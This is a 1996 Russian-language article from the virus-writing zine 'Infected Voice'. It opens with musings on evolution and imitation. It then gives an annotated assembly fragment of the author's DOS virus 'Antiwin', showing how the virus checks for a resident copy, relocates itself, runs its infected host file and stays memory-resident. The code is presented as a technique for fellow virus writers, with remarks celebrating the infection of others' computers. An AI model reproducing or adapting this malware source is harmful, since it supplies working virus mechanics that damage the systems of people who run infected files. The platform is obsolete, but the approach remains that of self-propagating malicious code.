▄▄ █ ▀▀▀ Virus Magazine █ Box 10, Kiev 148, Ukraine IV 1996 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀▀█ ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ █▀█ █ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █▄█ █ ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄▄█ (C) Copyright, 1994-96, by STEALTH group WorldWide, unLtd. ============================================================================= ╔═════════════════════════════════════════════════════╗ ║ ПРО ЭВОЛЮЦИЮ, ИСКУССТВО И ОСЕДАНИЕ ВИРУСА В ПАМЯТИ ║ ║ ░░░░░░░░░░░░░░░ by MrStrange ░░░░░░░░░░░░░░░ ║ ╚═════════════════════════════════════════════════════╝ Существуют два типа глобальных изменений - по форме и по сути. С первым типом мы сталкиваемся на протяжении всей истории человечества - несколько тысяч лет тому назад наши предки лазили по деревьям и били друг друга палками, если не поделили кусок мяса, сегодня же мы стали "цивилизованными", образованными, мы умеем быстро передвигаться по земле, воде и даже по воздуху. Мы изобрели несметное количество языков, религий, философий, наук. Мы научились обобщать, рассуждать и доказывать. Придумали циферки, счеты, компьютеры. Но изменилось ли общество по своей СУТИ? Разве после того, как у нас отбирают наш абстрактный "кусок мяса" у нас не возникает желание дать палкой по лысине обидчика? Разве изменились наши инстинкты и чувства? Войны - эти наполовину узаконенные убийства - и иные проявления жестокости все еще трясут гнилую общность, именуемую Homo Sapiens. Придет ли время, когда мы узнаем, откуда мы взялись и куда мы идем? В чем различие развития и деградации? Сегодня теория эволюции Чарльза Дарвина трещит по всем швам и вот-вот рухнет, но следует признать ее рациональные моменты. Минорное развитие существует, но направление его, безусловно, неизвестно. А существует ли эволюция общества? Можно ли сказать, что мораль нашего общества выше, совершеннее, чем мораль древних? Как странно, в древнем Вавилоне и Греции актерское занятие представлялось делом позорным и некультурным, далеким от искусства, сегодня же театр берет на себя роль очага культуры... А не были ли древние правы? Актер - человек без лица, человек в маске - и вдруг носитель культуры? Не скрою, я вижу в подражании некоторую пользу, но сделать подражание своей ПРОФЕССИЕЙ - не издевательство ли это над собой? К чему я это все? А к тому, что пора бы придумать и что-то свое. Глуп тот человек, кто учится на ЧУЖИХ ошибках (тут нет опечаток). Нужно максимально полагаться на собственный опыт, прибегая к чужому лишь в случае крайней нужды. Учиться у других надо, это безусловно. Но нельзя забывать, что для тебя главный авторитет - твое сознание. Но даже подражание иногда идет на пользу. И в программировании тоже. Ниже приведен немножечко покусанный фрагмент моего вируса Antiwin, который, нежелая обманывать DOS при захвате себе кусочка оперативной памяти, предпочитает обмануть своего лучшего друга и кормильца - файл, в котором он живет. Antiwin (он ведь тоже живой, как и всякий другой компьютерный вирус!) делает это с болью в своей слабозашифрованной, и поэтому легкоранимой, душе, но долг, как известно, прежде всего (?). Он пытается подражать (вымирающему уже) DOS'у и самостоятельно запускать из себя кормильца - и да не узнает оный про грешное существование наше! А жить хочется, ох как хочется... Итак, нажав пару раз на стрелку вниз вы сможете наблюдать кусочек вируса, в которой он инсталлируется в память. Для того, чтобы облегчить чтение фрагмента, он условно разделяется на 5 частей. Основная идея: exe-файл заражается стандартно. При запуске ───────────── зараженного файла вирус первым делом прове- ряет, присутсвует ли его брат в памяти. Если да, то стандартно передает управлению своему кормильцу, иначе - копирует себя в начало выделенной нам памяти, устраивается поуютнее и запускает файл носитель с помощью функции DOS 4bh, подфункция 0, затем передает управление DOS через функцию 31h - остаться резидентом. ═══════════════════════════════════════════════════════════════ ; Кусочек вируса Antiwin, (c) by MrStrange assume cs:_virus vstart: ; ┌───────┐ ;────────────────────────────────────────────────────┤Часть 1│ ; └───────┘ ; Проверим, есть ли в памяти брат-близнец. Для каждого вируса эта ; процедура своя. call isThereABrotherInMemory or ax,ax jz not_in_memory ; Знайдемо собi у пам'ятi затишне помешкання ;--------------------------------------------- Брат есть, передаем управление ;--------------------------------------------- программе, в бренном теле ;--------------------------------------------- которой мы обитаем mov bx,ds add bx,10h db @mov_cx KeepSS dw 0h add cx,bx cli mov ss,cx db @mov_sp KeepSP dw 0 sti db @mov_cx KeepCS dw 0 add cx,bx push cx db @push KeepIP dw 0 retf ; Hi, program! ;┌───────────────────────────────────────────────────────┐ ;│No brother in memory. Let's go and f..k this computer! │ ;└───────────────────────────────────────────────────────┘ ; ┌───────┐ ;────────────────────────────────────────────────────┤Часть 2│ ; └───────┘ not_in_memory: mov ax,ds add ax,10h mov es,ax ; es = seg PSP + 10h xor di,di ; di = 0 mov cx,(vlen+3)/2 ; vlen-размер вируса в байтах, cx-в словах cld push cs pop ds ; ds:[si] -> es:[di] ; ds = cs, si = virstart, es = PSP+10h, di = 0 rep movsw ; Переселяемся push es push offset continue retf ; Следующая комманда выполнится уже в ; копии программы continue: ; Тут идет настройка регистров и урезание выделенной нам памяти ; ┌───────┐ ;────────────────────────────────────────────────────┤Часть 3│ ; └───────┘ ASSUME ds:_virus push cs pop ds mov ax,cs sub ax,10h mov es,ax ; es - сегмент PSP mov bx,offset vend ; vend - метка в конце вируса shr bx,4 add bx,11h ; bx - длина вируса в памяти с учетом PSP ; (в параграфах) mov ah,4ah ; SetBlock - урезаем наш блок памяти int 21h ; ┌───────┐ ;────────────────────────────────────────────────────┤Часть 4│ ; └───────┘ ; Следующий шаг - необходимо поинтересоваться у ситемы, как наше имя mov seg1,es ; Переменные в EPB (см. ниже) mov seg2,es mov seg0,es mov ds,es:[2ch] ; в PSP по смещению 2ch хранится mov bx,0ffffh ; сегмент строки среды, ; где, в частности хранится ; и имя нашей прогрмаммы ; (Сначала хранятся переменные ; среды, которые завершаются ; словом 0. После нуля пропус- ; каем еще одно слово - и ; попадаем аккурат на ; строку ASCIIZ - наше имя). next_word: inc bx cmp [bx],word ptr 0 jne next_word ; Нашли слово 0 add bx,4 ; Пропустили 0 и еще одно слово mov dx,bx ; Now ds:dx = filename ; Теперь нужно запомнить ss и sp (после исполнения функции DOS 4bh портятся ; все регистры, включая ss и sp. Не восстановив их мы не имеем права исполь- ; зовать стек). mov cs:tempss,ss mov cs:tempsp,sp push cs pop es mov bx,offset EPB mov ax,4b00h int 21h ; Запустили программу ; Параметры функции 4bh: ; DS:DX - имя файла ; ES:BX - адрес EXEC Parameter Table (EPB). Формат EPB следующий: ;Offset Size Contents ;▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; ┌───────┐ ; +0 2 │ │ сегмент окружения (0000=передать свое) ; ├───┴───┴───────┐ ; +2 4 │offset segment│ адрес коммандной строки (будет помещена ; ├───┴───┼───┴───┤ в PSP запускаемой программы по смещению 80h ; +6 4 │offset segment│ адрес FCB (PSP + 5cH) ; ├───┴───┼───┴───┤ ; +0ah 4 │offset segment│ адрес FCB (PSP + 6cH) ; └───┴───┴───┴───┘ ;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ; ┌───────┐ ;────────────────────────────────────────────────────┤Часть 5│ ; └───────┘ ; Все, "программа-носитель" выполнена. Восстанавливаем стек и остаемся ; в памяти (спрашиваем на то официального позволения у функции 31h). cli mov ss,cs:tempss mov sp,cs:tempsp sti mov ax,cs sub ax,10h mov ds,ax mov es,ds:[2ch] mov ah,49h int 21h ; Освободили строку среды - пущай себе гуляет... mov dx,offset vend shr dx,4 add dx,11h mov ah,31h int 21h ; Хорошо сидим, далеко глядим! ;................................................................. ; EPB - смотри описание выше EPB label byte dw 0h ; dw 80h ; Адрес коммандной строки seg0 dw ? ; dw 5ch ; Адрес первого FCB seg1 dw ? ; dw 6ch ; Адрес второго FCB seg3 dw ? ; vend label byte _virus ends ═══════════════════════════════════════════════════════════════ Да, вот и сессия на носу... Она подобна компьютерам - "двойки" - нежелательно, "тройки" - средне, "четверки" - хорошо, "пятерки" (P5) - отлично, Apple Macintosh - кот в мешке. Всем пока!